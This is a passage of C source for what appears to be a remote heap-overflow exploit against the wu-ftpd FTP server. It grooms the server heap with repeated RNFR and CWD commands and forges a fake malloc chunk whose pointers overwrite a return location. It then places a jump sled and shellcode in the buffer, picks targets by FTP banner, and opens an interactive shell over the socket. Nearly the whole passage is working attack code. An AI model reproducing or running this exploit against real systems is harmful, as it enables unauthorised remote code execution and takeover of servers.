  740.  
  741.         if (debugmode)
  742.                 printf ("fakechunk_size = 0x%08lx\n", fakechunk_size);
  743.         xp_buildsize (fd, fakechunk_size, 0x10);
  744.  
  745.         /* pad down to the minimum possible size in 8 byte alignment
  746.          */
  747.         if (verbose)
  748.                 printf ("\npadchunk_size = 0x%08lx\n==> %lu\n",
  749.                         padchunk_size, padchunk_size - 8 - 1);
  750.         xp_gapfill (fd, 1, padchunk_size - 8 - 1);
  751.  
  752.         if (debugmode) {
  753.                 printf ("press enter\n");
  754.                 getchar ();
  755.         }
  756.  
  757.         return;
  758. }
  759.  
  760.  
  761. /* tgt_list
  762.  *
  763.  * give target list
  764.  */
  765.  
  766. void
  767. tgt_list (void)
  768. {
  769.         int     tgt_num;
  770.  
  771.  
  772.         printf ("num . description\n");
  773.         printf ("----+-----------------------------------------------"
  774.                 "--------\n");
  775.  
  776.         for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
  777.                 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
  778.  
  779.                 if (verbose)
  780.                         printf ("    :    %s\n", targets[tgt_num].banner);
  781.                 if (verbose >= 2)
  782.                         printf ("    :    retloc: 0x%08lx   "
  783.                                 "cbuf: 0x%08lx\n",
  784.                                 targets[tgt_num].retloc,
  785.                                 targets[tgt_num].cbuf);
  786.         }
  787.         printf ("    '\n");
  788.  
  789.         return;
  790. }
  791.  
  792.  
  793. /* tgt_frombanner
  794.  *
  795.  * try to automatically select target from ftp banner
  796.  *
  797.  * return pointer to target structure on success
  798.  * return NULL on failure
  799.  */
  800.  
  801. tgt_type *
  802. tgt_frombanner (unsigned char *banner)
  803. {
  804.         int     tw;     /* target list walker */
  805.  
  806.  
  807.         for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {
  808.                 if (strstr (banner, targets[tw].banner) != NULL)
  809.                         return (&targets[tw]);
  810.         }
  811.  
  812.         return (NULL);
  813. }
  814.  
  815.  
  816. /* xp_buildsize
  817.  *
  818.  * set chunksize to this_size_ls. do this in a csize bytes long chunk.
  819.  * normally csize = 0x10. csize is always a padded chunksize.
  820.  */
  821.  
  822. void
  823. xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
  824. {
  825.         int             n,
  826.                         cw;     /* chunk walker */
  827.         unsigned char   tmpbuf[512];
  828.         unsigned char * leet = "7350";
  829.  
  830.  
  831.         for (n = 2 ; n > 0 ; --n) {
  832.                 memset (tmpbuf, '\0', sizeof (tmpbuf));
  833.  
  834.                 for (cw = 0 ; cw < (csize - 0x08) ; ++cw)
  835.                         tmpbuf[cw] = leet[cw % 4];
  836.  
  837.                 tmpbuf[cw - 4 + n] = '\0';
  838.                 if (debugmode)
  839.                         printf (": CWD %s\n", tmpbuf);
  840.  
  841.                 net_write (fd, "CWD %s\n", tmpbuf);
  842.                 ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
  843.         }
  844.  
  845.         memset (tmpbuf, '\0', sizeof (tmpbuf));
  846.         for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw)
  847.                 tmpbuf[cw] = leet[cw % 4];
  848.  
  849.         if (debugmode)
  850.                 printf ("| CWD %s\n", tmpbuf);
  851.  
  852.         net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls);
  853.         ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
  854.  
  855.         /* send a minimum-sized malloc request that will allocate a chunk
  856.          * with 'csize' overall bytes
  857.          */
  858.         xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize));
  859.  
  860.  
  861.         return;
  862. }
  863.  
  864.  
  865. /* xp_gapfill
  866.  *
  867.  * fill all small memory gaps in wuftpd malloc space. do this by sending
  868.  * rnfr requests which cause a memleak in wuftpd.
  869.  *
  870.  * return in any case
  871.  */
  872.  
  873. void
  874. xp_gapfill (int fd, int rnfr_num, int rnfr_size)
  875. {
  876.         int             n;
  877.         unsigned char * rb;             /* rnfr buffer */
  878.         unsigned char * rbw;            /* rnfr buffer walker */
  879.         unsigned char   rcv_buf[512];   /* temporary receive buffer */
  880.  
  881.         if (debugmode)
  882.                 printf ("RNFR: %d x 0x%08x (%d)\n",
  883.                         rnfr_num, rnfr_size, rnfr_size);
  884.  
  885.         rbw = rb = calloc (1, rnfr_size + 6);
  886.         strcpy (rbw, "RNFR ");
  887.         rbw += strlen (rbw);
  888.  
  889.         /* append a string of "././././". since wuftpd only checks whether
  890.          * the pathname is lstat'able, it will go through without any problems
  891.          */
  892.         for (n = 0 ; n < rnfr_size ; ++n)
  893.                 strcat (rbw, ((n % 2) == 0) ? "." : "/");
  894.         strcat (rbw, "\n");
  895.  
  896.         for (n = 0 ; n < rnfr_num; ++n) {
  897.                 net_write (fd, "%s", rb);
  898.                 ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 ");
  899.         }
  900.         free (rb);
  901.  
  902.         return;
  903. }
  904.  
  905.  
  906. #define ADDR_STORE(ptr,addr){\
  907.         ((unsigned char *) (ptr))[0] = (addr) & 0xff;\
  908.         ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\
  909.         ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\
  910.         ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\
  911. }
  912.  
  913.  
  914. int
  915. xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
  916. {
  917.         unsigned char * wl;
  918.  
  919.  
  920.         memset (buf, '\0', buf_len);
  921.  
  922.         memset (buf, '0', CHUNK_POS);
  923.         xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);
  924.  
  925.         for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) {
  926.                 wl[0] = '\xeb';
  927.                 wl[1] = '\x0c';
  928.         }
  929.  
  930.         memcpy (&buf[buf_len - 1] - shellcode_len, shellcode,
  931.                 shellcode_len);
  932.  
  933.  
  934.         return (strlen (buf));
  935. }
  936.  
  937.  
  938. /* xp_buildchunk
  939.  *
  940.  * build the fake malloc chunk that will overwrite retloc with retaddr
  941.  */
  942.  
  943. void
  944. xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)
  945. {
  946.         unsigned long int       retaddr_eff;    /* effective */
  947.  
  948.  
  949.         if (user_retaddr)
  950.                 retaddr_eff = user_retaddr;
  951.         else
  952.                 retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16;
  953.  
  954.         fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n",
  955.                 tgt->retloc, retaddr_eff, clen);
  956.  
  957.         /* easy, straight forward technique
  958.          */
  959.         ADDR_STORE (&cspace[0], 0xfffffff0);            /* prev_size */
  960.         ADDR_STORE (&cspace[4], 0xfffffffc);            /* this_size */
  961.         ADDR_STORE (&cspace[8], tgt->retloc - 12);      /* fd */
  962.         ADDR_STORE (&cspace[12], retaddr_eff);          /* bk */
  963.  
  964.         return;
  965. }
  966.  
  967.  
  968.  
  969. void
  970. shell (int sock)
  971. {
  972.         int     l;
  973.         char    buf[512];
  974.         fd_set  rfds;
  975.  
  976.  
  977.         while (1) {
  978.                 FD_SET (0, &rfds);
  979.                 FD_SET (sock, &rfds);
  980.  
  981.                 select (sock + 1, &rfds, NULL, NULL, NULL);
  982.                 if (FD_ISSET (0, &rfds)) {
  983.                         l = read (0, buf, sizeof (buf));
  984.                         if (l <= 0) {
  985.                                 perror ("read user");
  986.                                 exit (EXIT_FAILURE);
  987.                         }
  988.                         write (sock, buf, l);
  989.                 }
  990.  
  991.                 if (FD_ISSET (sock, &rfds)) {
  992.                         l = read (sock, buf, sizeof (buf));
  993.                         if (l == 0) {
  994.                                 printf ("connection closed by foreign host.\n");
  995.                                 exit (EXIT_FAILURE);
  996.                         } else if (l < 0) {
  997.                                 perror ("read remote");
  998.                                 exit (EXIT_FAILURE);
  999.                         }
  1000.                         write (1, buf, l);
  1001.                 }
  1002.         }
  1003. }
  1004.  
  1005.  
  1006. /*** FTP functions
  1007.  */
  1008.  
  1009. /* FTP is TELNET is SHIT.
  1010.  */
  1011.  
  1012. void
  1013. ftp_escape (unsigned char *buf, unsigned long int buflen)
  1014. {
  1015.         unsigned char * obuf = buf;
  1016.  
  1017.  
  1018.         for ( ; *buf != '\0' ; ++buf) {
  1019.                 if (*buf == 0xff &&
  1020.                         (((buf - obuf) + strlen (buf) + 1) < buflen))
  1021.                 {
  1022.                         memmove (buf + 1, buf, strlen (buf) + 1);
  1023.                         buf += 1;
  1024.                 }
  1025.         }
  1026. }
  1027.  
  1028.  
  1029. void
  1030. ftp_recv_until (int sock, char *buff, int len, char *begin)
  1031. {
  1032.         char    dbuff[2048];
  1033.  
  1034.  
  1035.         if (buff == NULL) {
  1036.                 buff = dbuff;
  1037.                 len = sizeof (dbuff);
  1038.         }
  1039.  
  1040.         do {
  1041.                 memset (buff, '\x00', len);
  1042.                 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
  1043.                         return;
  1044.         } while (memcmp (buff, begin, strlen (begin)) != 0);
  1045.  
  1046.         return;
  1047. }
  1048.  
  1049.  
  1050. int
  1051. ftp_login (char *host, char *user, char *pass)
  1052. {
  1053.         int     ftpsock;
  1054.         char    resp[512];
  1055.  
  1056.  
  1057.         ftpsock = net_connect (NULL, host, 21, 30);
  1058.         if (ftpsock <= 0)
  1059.                 return (0);
  1060.  
  1061.         memset (resp, '\x00', sizeof (resp));
  1062.         if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
  1063.                 goto flerr;
  1064.  
  1065.         /* handle multiline pre-login stuff (rfc violation !)
  1066.          */
  1067.         if (memcmp (resp, "220-", 4) == 0)
  1068.                 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
  1069.  
  1070.         if (memcmp (resp, "220 ", 4) != 0) {
  1071.                 if (verbose)
  1072.                         printf ("\n%s\n", resp);
  1073.                 goto flerr;
  1074.         }
  1075.         ftp_banner = strdup (resp);
  1076.  
  1077.         net_write (ftpsock, "USER %s\n", user);
  1078.         memset (resp, '\x00', sizeof (resp));
  1079.         if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
  1080.                 goto flerr;
  1081.  
  1082.         if (memcmp (resp, "331 ", 4) != 0) {
  1083.                 if (verbose)
  1084.                         printf ("\n%s\n", resp);
  1085.                 goto flerr;
  1086.         }
  1087.  
  1088.         net_write (ftpsock, "PASS %s\n", pass);
  1089.         memset (resp, '\x00', sizeof (resp));
  1090.         if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
  1091.                 goto flerr;
  1092.  
  1093.  
  1094.         /* handle multiline responses from ftp servers
  1095.          */
  1096.         if (memcmp (resp, "230-", 4) == 0)
  1097.                 ftp_recv_until (ftpsock, resp, sizeof (resp), "230 ");
  1098.  
  1099.         if (memcmp (resp, "230 ", 4) != 0) {
  1100.                 if (verbose)
  1101.                         printf ("\n%s\n", resp);
  1102.                 goto flerr;
  1103.         }
  1104.  
  1105.         return (ftpsock);
  1106.  
  1107. flerr:
  1108.         if (ftpsock > 0)
  1109.                 close (ftpsock);
  1110.  
  1111.         return (0);
  1112. }
  1113.  
  1114.  
  1115. /* ripped from zodiac */
  1116. void
  1117. hexdump (char *desc, unsigned char *data, unsigned int amount)
  1118. {
  1119.         unsigned int    dp, p;  /* data pointer */
  1120.         const char      trans[] =
  1121.                 "................................ !\"#$%&'()*+,-./0123456789"
  1122.                 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
  1123.                 "nopqrstuvwxyz{|}~...................................."
  1124.                 "....................................................."
  1125.                 "........................................";
  1126.  
  1127.  
  1128.         printf ("/* %s, %u bytes */\n", desc, amount);
  1129.  
  1130.         for (dp = 1; dp <= amount; dp++) {
  1131.                 fprintf (stderr, "%02x ", data[dp-1]);
  1132.                 if ((dp % 8) == 0)
  1133.                         fprintf (stderr, " ");
  1134.                 if ((dp % 16) == 0) {
  1135.                         fprintf (stderr, "| ");
  1136.                         p = dp;
  1137.                         for (dp -= 16; dp < p; dp++)
  1138.                                 fprintf (stderr, "%c", trans[data[dp]]);
  1139.                         fflush (stderr);
  1140.                         fprintf (stderr, "\n");
  1141.                 }
  1142.                 fflush (stderr);
  1143.         }
  1144.         if ((amount % 16) != 0) {
  1145.                 p = dp = 16 - (amount % 16);
  1146.                 for (dp = p; dp > 0; dp--) {
  1147.                         fprintf (stderr, "   ");
  1148.                         if (((dp % 8) == 0) && (p != 8))
  1149.                                 fprintf (stderr, " ");
  1150.                         fflush (stderr);
  1151.                 }
  1152.                 fprintf (stderr, " | ");
  1153.                 for (dp = (amount - (16 - p)); dp < amount; dp++)
  1154.                         fprintf (stderr, "%c", trans[data[dp]]);
  1155.                 fflush (stderr);
  1156.         }
  1157.         fprintf (stderr, "\n");
  1158.  
  1159.         return;
  1160. }
  1161.  
  1162.  
  1163.  
  1164. unsigned long int
  1165. net_resolve (char *host)
  1166. {
  1167.         long            i;
  1168.         struct hostent  *he;
  1169.  
  1170.         i = inet_addr(host);
  1171.         if (i == -1) {
  1172.                 he = gethostbyname(host);
  1173.                 if (he == NULL) {
  1174.                         return (0);
  1175.                 } else {
  1176.                         return (*(unsigned long *) he->h_addr);
  1177.                 }
  1178.         }
  1179.         return (i);
  1180. }
  1181.  
  1182.  
  1183. int
  1184. net_connect (struct sockaddr_in *cs, char *server,
  1185.         unsigned short int port, int sec)
  1186. {
  1187.         int                     n,
  1188.                                 len,
  1189.                                 error,
  1190.                                 flags;
  1191.         int                     fd;
  1192.         struct timeval          tv;
  1193.         fd_set                  rset, wset;
  1194.         struct sockaddr_in      csa;
  1195.  
  1196.         if (cs == NULL)
  1197.                 cs = &csa;
  1198.  
  1199.         /* first allocate a socket */
  1200.         cs->sin_family = AF_INET;
  1201.         cs->sin_port = htons (port);
  1202.         fd = socket (cs->sin_family, SOCK_STREAM, 0);
  1203.         if (fd == -1)
  1204.                 return (-1);
  1205.  
  1206.         if (!(cs->sin_addr.s_addr = net_resolve (server))) {
  1207.                 close (fd);
  1208.                 return (-1);
  1209.         }
  1210.  
  1211.         flags = fcntl (fd, F_GETFL, 0);
  1212.         if (flags == -1) {
  1213.                 close (fd);
  1214.                 return (-1);
  1215.         }
  1216.         n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  1217.         if (n == -1) {
  1218.                 close (fd);
  1219.                 return (-1);
  1220.         }
  1221.  
  1222.         error = 0;
  1223.  
  1224.         n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  1225.         if (n < 0) {
  1226.                 if (errno != EINPROGRESS) {
  1227.                         close (fd);
  1228.                         return (-1);
  1229.                 }
  1230.         }
  1231.         if (n == 0)
  1232.                 goto done;
  1233.  
  1234.         FD_ZERO(&rset);
  1235.         FD_ZERO(&wset);
  1236.         FD_SET(fd, &rset);
  1237.         FD_SET(fd, &wset);
  1238.         tv.tv_sec = sec;
  1239.         tv.tv_usec = 0;
  1240.  
  1241.         n = select(fd + 1, &rset, &wset, NULL, &tv);
  1242.         if (n == 0) {
  1243.                 close(fd);
  1244.                 errno = ETIMEDOUT;
  1245.                 return (-1);
  1246.         }
  1247.         if (n == -1)
  1248.                 return (-1);
  1249.  
  1250.         if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  1251.                 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  1252.                         len = sizeof(error);
  1253.                         if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  1254.                                 errno = ETIMEDOUT;
  1255.                                 return (-1);
  1256.                         }
  1257.                         if (error == 0) {
  1258.                                 goto done;
  1259.                         } else {
  1260.                                 errno = error;
  1261.                                 return (-1);
  1262.                         }
  1263.                 }
  1264.         } else
  1265.                 return (-1);
  1266.  
  1267. done:
  1268.         n = fcntl(fd, F_SETFL, flags);
  1269.         if (n == -1)
  1270.                 return (-1);
  1271.         return (fd);
  1272. }
  1273.  
  1274.  
  1275. void
  1276. net_write (int fd, const char *str, ...)
  1277. {
  1278.         char    tmp[1025];
  1279.         va_list vl;
  1280.         int     i;
  1281.  
  1282.         va_start(vl, str);
  1283.         memset(tmp, 0, sizeof(tmp));
  1284.         i = vsnprintf(tmp, sizeof(tmp), str, vl);
  1285.         va_end(vl);
  1286.  
  1287. #ifdef DEBUG
  1288.         printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
  1289. #endif
  1290.  
  1291.         send(fd, tmp, i, 0);
  1292.         return;
  1293. }
  1294.  
  1295.  
  1296. int
  1297. net_rlinet (int fd, char *buf, int bufsize, int sec)
  1298. {
  1299.         int                     n;
  1300.         unsigned long int       rb = 0;
  1301.         struct timeval          tv_start, tv_cur;
  1302.  
  1303.         memset(buf, '\0', bufsize);
  1304.         (void) gettimeofday(&tv_start, NULL);
  1305.  
  1306.         do {
  1307.                 (void) gettimeofday(&tv_cur, NULL);
  1308.                 if (sec > 0) {
  1309.                         if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
  1310.                                 ((tv_start.tv_sec * 1000000) +
  1311.                                 (tv_start.tv_usec))) > (sec * 1000000))
  1312.                         {
  1313.                                 return (-1);
  1314.                         }
  1315.                 }
  1316.                 n = net_rtimeout(fd, NET_READTIMEOUT);
  1317.                 if (n <= 0) {
  1318.                         return (-1);
  1319.                 }
  1320.                 n = read(fd, buf, 1);
  1321.                 if (n <= 0) {
  1322.                         return (n);
  1323.                 }
  1324.                 rb++;
  1325.                 if (*buf == '\n')
  1326.                         return (rb);
  1327.                 buf++;
  1328.                 if (rb >= bufsize)
  1329.                         return (-2);    /* buffer full */
  1330.         } while (1);
  1331. }
  1332.  
  1333.  
  1334. int
  1335. net_rtimeout (int fd, int sec)
  1336. {
  1337.         fd_set          rset;
  1338.         struct timeval  tv;
  1339.         int             n, error, flags;
  1340.  
  1341.  
  1342.         error = 0;
  1343.         flags = fcntl(fd, F_GETFL, 0);
  1344.         n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
  1345.         if (n == -1)
  1346.                 return (-1);
  1347.  
  1348.         FD_ZERO(&rset);
  1349.         FD_SET(fd, &rset);
  1350.         tv.tv_sec = sec;
  1351.         tv.tv_usec = 0;
  1352.  
  1353.         /* now we wait until more data is received then the tcp low level
  1354.          * watermark, which should be setted to 1 in this case (1 is default)
  1355.          */
  1356.         n = select(fd + 1, &rset, NULL, NULL, &tv);
  1357.         if (n == 0) {
  1358.                 n = fcntl(fd, F_SETFL, flags);
  1359.                 if (n == -1)
  1360.                         return (-1);
  1361.                 errno = ETIMEDOUT;
  1362.                 return (-1);
  1363.         }
  1364.         if (n == -1) {
  1365.                 return (-1);
  1366.         }
  1367.         /* socket readable ? */
  1368.         if (FD_ISSET(fd, &rset)) {
  1369.                 n = fcntl(fd, F_SETFL, flags);
  1370.                 if (n == -1)
  1371.                         return (-1);
  1372.                 return (1);
  1373.         } else {
  1374.                 n = fcntl(fd, F_SETFL, flags);
  1375.                 if (n == -1)
  1376.                         return (-1);
  1377.                 errno = ETIMEDOUT;
  1378.                 return (-1);
  1379.         }
  1380. }
  1381.  
  1382.  
  1383. static int
  1384. sc_build_x86_lnx (unsigned char *target, size_t target_len,
  1385.         unsigned char *shellcode, char **argv)
  1386. {
  1387.         int     i;
  1388.         size_t  tl_orig = target_len;
  1389.  
  1390.  
  1391.         if (strlen (shellcode) >= (target_len - 1))
  1392.                 return (-1);
  1393.  
  1394.         memcpy (target, shellcode, strlen (shellcode));
  1395.         target += strlen (shellcode);
  1396.         target_len -= strlen (shellcode);
  1397.  
  1398.         for (i = 0 ; argv[i] != NULL ; ++i)
  1399.                 ;
  1400.  
  1401.         /* set argument count
  1402.          */
  1403.         target[0] = (unsigned char) i;
  1404.         target++;
  1405.         target_len--;
  1406.  
  1407.         for ( ; i > 0 ; ) {
  1408.                 i -= 1;
  1409.  
  1410.                 if (strlen (argv[i]) >= target_len)
  1411.                         return (-1);
  1412.  
  1413.                 printf ("[%3d/%3d] adding (%2d): %s\n",
  1414.                         (tl_orig - target_len), tl_orig,
  1415.                         strlen (argv[i]), argv[i]);
  1416.  
  1417.                 memcpy (target, argv[i], strlen (argv[i]));
  1418.                 target += strlen (argv[i]);
  1419.                 target_len -= strlen (argv[i]);
  1420.  
  1421.                 target[0] = (unsigned char) (i + 1);
  1422.                 target++;
  1423.                 target_len -= 1;
  1424.         }
  1425.  
  1426.         return (tl_orig - target_len);
  1427. }
  1428.  
  1429.